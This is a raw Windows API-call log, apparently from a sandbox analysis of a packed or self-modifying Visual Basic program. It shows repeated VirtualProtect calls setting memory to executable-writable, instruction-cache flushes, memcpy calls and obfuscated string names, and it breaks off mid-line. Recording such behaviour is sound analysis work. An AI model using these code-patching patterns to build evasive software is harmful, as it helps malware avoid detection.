[0085.901] GetCurrentProcess () returned 0xffffffff [0085.901] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.901] GetCurrentProcess () returned 0xffffffff [0085.901] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.901] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.902] GetCurrentProcess () returned 0xffffffff [0085.902] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.902] GetCurrentProcess () returned 0xffffffff [0085.902] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.902] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.902] GetCurrentProcess () returned 0xffffffff [0085.902] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.902] GetCurrentProcess () returned 0xffffffff [0085.902] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.902] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.903] GetCurrentProcess () returned 0xffffffff [0085.903] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.903] GetCurrentProcess () returned 0xffffffff [0085.903] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.903] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.903] GetCurrentProcess () returned 0xffffffff [0085.903] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.903] GetCurrentProcess () returned 0xffffffff [0085.903] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.903] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.904] GetCurrentProcess () returned 0xffffffff [0085.904] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.904] GetCurrentProcess () returned 0xffffffff [0085.904] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.904] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.905] GetCurrentProcess () returned 0xffffffff [0085.905] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.905] GetCurrentProcess () returned 0xffffffff [0085.905] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.905] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.905] GetCurrentProcess () returned 0xffffffff [0085.905] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.905] GetCurrentProcess () returned 0xffffffff [0085.905] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.905] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.906] GetCurrentProcess () returned 0xffffffff [0085.906] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.906] GetCurrentProcess () returned 0xffffffff [0085.906] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.906] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.906] GetCurrentProcess () returned 0xffffffff [0085.906] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.906] GetCurrentProcess () returned 0xffffffff [0085.906] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.906] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.907] GetCurrentProcess () returned 0xffffffff [0085.907] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.907] GetCurrentProcess () returned 0xffffffff [0085.907] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.907] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.907] GetCurrentProcess () returned 0xffffffff [0085.907] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.907] GetCurrentProcess () returned 0xffffffff [0085.907] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.907] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.908] GetCurrentProcess () returned 0xffffffff [0085.908] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.908] GetCurrentProcess () returned 0xffffffff [0085.908] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.908] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.908] GetCurrentProcess () returned 0xffffffff [0085.908] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.908] GetCurrentProcess () returned 0xffffffff [0085.909] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.909] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.909] GetCurrentProcess () returned 0xffffffff [0085.909] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.909] GetCurrentProcess () returned 0xffffffff [0085.909] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.909] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.910] GetCurrentProcess () returned 0xffffffff [0085.910] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.910] GetCurrentProcess () returned 0xffffffff [0085.910] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.910] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.910] GetCurrentProcess () returned 0xffffffff [0085.910] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.910] GetCurrentProcess () returned 0xffffffff [0085.910] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.910] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.911] GetCurrentProcess () returned 0xffffffff [0085.911] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.912] GetAsyncKeyState (vKey=3) returned 0 [0085.912] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.912] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0085.912] CRetailMalloc_Alloc () returned 0xcaec4a0 [0085.912] memcpy (in: _Dst=0xfa54f38, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.912] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.912] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.912] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.912] memcpy (in: _Dst=0xfa54f40, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.912] memcpy (in: _Dst=0xfa54f3c, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2e46, cbMultiByte=10, lpWideCharStr=0x197348, cchWideChar=11 | out: lpWideCharStr="–—–———–––") returned 10 [0085.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1128056a, cbMultiByte=10, lpWideCharStr=0x1973a8, cchWideChar=11 | out: lpWideCharStr="–—–———–––") returned 10 [0085.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1128056a, cbMultiByte=10, lpWideCharStr=0x1973a8, cchWideChar=11 | out: lpWideCharStr="–—–———–––") returned 10 [0085.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1128056a, cbMultiByte=10, lpWideCharStr=0x1973a8, cchWideChar=11 | out: lpWideCharStr="–—–———–––") returned 10 [0085.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1128056a, cbMultiByte=10, lpWideCharStr=0x1973a8, cchWideChar=11 | out: lpWideCharStr="–—–———–––") returned 10 [0085.913] CRetailMalloc_Alloc () returned 0xc878a70 [0085.913] _mbscpy_s (in: _Dst=0xc878a70, _DstSizeInBytes=0xa, _Src=0x1128056a | out: _Dst=0xc878a70) returned 0x0 [0085.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280b82, cbMultiByte=17, lpWideCharStr=0x1973b8, cchWideChar=18 | out: lpWideCharStr="_B_var_–—–———–––") returned 17 [0085.914] CRetailMalloc_Free () returned 0x1 [0085.914] _mbscpy_s (in: _Dst=0x1974d0, _DstSizeInBytes=0x16, _Src=0x112805fa | out: _Dst=0x1974d0) returned 0x0 [0085.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7ca0, cbMultiByte=10, lpWideCharStr=0x11420c9c, cchWideChar=22 | out: lpWideCharStr="aDCvPYmsAe") returned 10 [0085.914] memcpy (in: _Dst=0xcaa6fbc, _Src=0x11420c98, _Size=0x1a | out: _Dst=0xcaa6fbc) returned 0xcaa6fbc [0085.914] memcpy (in: _Dst=0xfa54f38, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.915] memcpy (in: _Dst=0xfa54f38, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7cb4, cbMultiByte=9, lpWideCharStr=0x11421052, cchWideChar=20 | out: lpWideCharStr="CorCfK97l") returned 9 [0085.915] memcpy (in: _Dst=0xcaa6fdc, _Src=0x1142104e, _Size=0x18 | out: _Dst=0xcaa6fdc) returned 0xcaa6fdc [0085.915] memcpy (in: _Dst=0xfa54f3c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.915] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.915] memcpy (in: _Dst=0xfa54f38, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.915] memcpy (in: _Dst=0xfa54f38, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.915] memcpy (in: _Dst=0xfa54f3c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.915] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.915] memcpy (in: _Dst=0xfa54f40, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.915] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.915] memcpy (in: _Dst=0xfa54f44, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0085.915] memcpy (in: _Dst=0xfa54f40, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.916] memcpy (in: _Dst=0xfa54f44, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0085.916] memcpy (in: _Dst=0xfa55040, _Src=0x19754c, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0085.916] memcpy (in: _Dst=0xfa54f38, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.916] memcpy (in: _Dst=0xfa54f3c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.916] memcpy (in: _Dst=0xfa54f38, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.916] memcpy (in: _Dst=0xfa54f38, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.916] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.916] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.916] memcpy (in: _Dst=0xfa54f44, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0085.916] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.916] memcpy (in: _Dst=0xfa54f3c, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.916] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.916] memcpy (in: _Dst=0xfa54f44, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0085.916] memcpy (in: _Dst=0xfa54f48, _Src=0x19759c, _Size=0x4 | out: _Dst=0xfa54f48) returned 0xfa54f48 [0085.916] memcpy (in: _Dst=0xfa54f44, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0085.916] memcpy (in: _Dst=0xfa54f40, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0085.916] memcpy (in: _Dst=0xfa54f3c, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.916] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.917] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.917] memcpy (in: _Dst=0xfa54f38, _Src=0x197548, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.917] memcpy (in: _Dst=0xfa54f3c, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0085.917] memcpy (in: _Dst=0xfa54f38, _Src=0x197568, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.917] memcpy (in: _Dst=0xcaec567, _Src=0x1974fc, _Size=0x1 | out: _Dst=0xcaec567) returned 0xcaec567 [0085.918] memcpy (in: _Dst=0xcaec600, _Src=0x197604, _Size=0x18 | out: _Dst=0xcaec600) returned 0xcaec600 [0085.918] CRetailMalloc_Realloc () returned 0xcaec4a0 [0085.918] CRetailMalloc_Free () returned 0x1 [0085.918] GetCurrentProcess () returned 0xffffffff [0085.918] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.918] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.919] GetCurrentProcess () returned 0xffffffff [0085.919] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.919] GetCurrentProcess () returned 0xffffffff [0085.919] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.919] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.919] GetCurrentProcess () returned 0xffffffff [0085.919] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.919] GetCurrentProcess () returned 0xffffffff [0085.919] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.919] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.920] GetCurrentProcess () returned 0xffffffff [0085.920] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.920] GetCurrentProcess () returned 0xffffffff [0085.920] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.920] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.921] GetCurrentProcess () returned 0xffffffff [0085.921] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.921] GetCurrentProcess () returned 0xffffffff [0085.921] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.921] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.921] GetCurrentProcess () returned 0xffffffff [0085.921] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.921] GetCurrentProcess () returned 0xffffffff [0085.921] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.921] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.922] GetCurrentProcess () returned 0xffffffff [0085.922] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.922] GetCurrentProcess () returned 0xffffffff [0085.922] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.922] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.922] GetCurrentProcess () returned 0xffffffff [0085.922] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.922] GetCurrentProcess () returned 0xffffffff [0085.922] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.922] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.923] GetCurrentProcess () returned 0xffffffff [0085.923] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.923] GetCurrentProcess () returned 0xffffffff [0085.923] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.923] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.924] GetCurrentProcess () returned 0xffffffff [0085.924] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.924] GetCurrentProcess () returned 0xffffffff [0085.924] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.924] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.924] GetCurrentProcess () returned 0xffffffff [0085.924] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.924] GetCurrentProcess () returned 0xffffffff [0085.924] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.924] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.925] GetCurrentProcess () returned 0xffffffff [0085.925] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.925] GetCurrentProcess () returned 0xffffffff [0085.925] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.925] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.926] GetCurrentProcess () returned 0xffffffff [0085.926] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.926] GetCurrentProcess () returned 0xffffffff [0085.926] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.926] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.926] GetCurrentProcess () returned 0xffffffff [0085.926] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.926] GetCurrentProcess () returned 0xffffffff [0085.926] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.926] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.927] GetCurrentProcess () returned 0xffffffff [0085.927] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.927] GetCurrentProcess () returned 0xffffffff [0085.927] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.927] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.927] GetCurrentProcess () returned 0xffffffff [0085.927] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.928] GetCurrentProcess () returned 0xffffffff [0085.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.928] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.928] GetCurrentProcess () returned 0xffffffff [0085.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.928] GetCurrentProcess () returned 0xffffffff [0085.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.928] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.928] GetCurrentProcess () returned 0xffffffff [0085.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.929] GetCurrentProcess () returned 0xffffffff [0085.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.929] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.929] GetCurrentProcess () returned 0xffffffff [0085.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.929] GetCurrentProcess () returned 0xffffffff [0085.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.929] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.929] GetCurrentProcess () returned 0xffffffff [0085.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.930] GetCurrentProcess () returned 0xffffffff [0085.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.930] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.930] GetCurrentProcess () returned 0xffffffff [0085.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.930] GetCurrentProcess () returned 0xffffffff [0085.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.930] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.931] GetCurrentProcess () returned 0xffffffff [0085.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.931] GetCurrentProcess () returned 0xffffffff [0085.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.931] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0085.932] GetCurrentProcess () returned 0xffffffff [0085.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.932] GetCurrentProcess () returned 0xffffffff [0085.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.932] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: 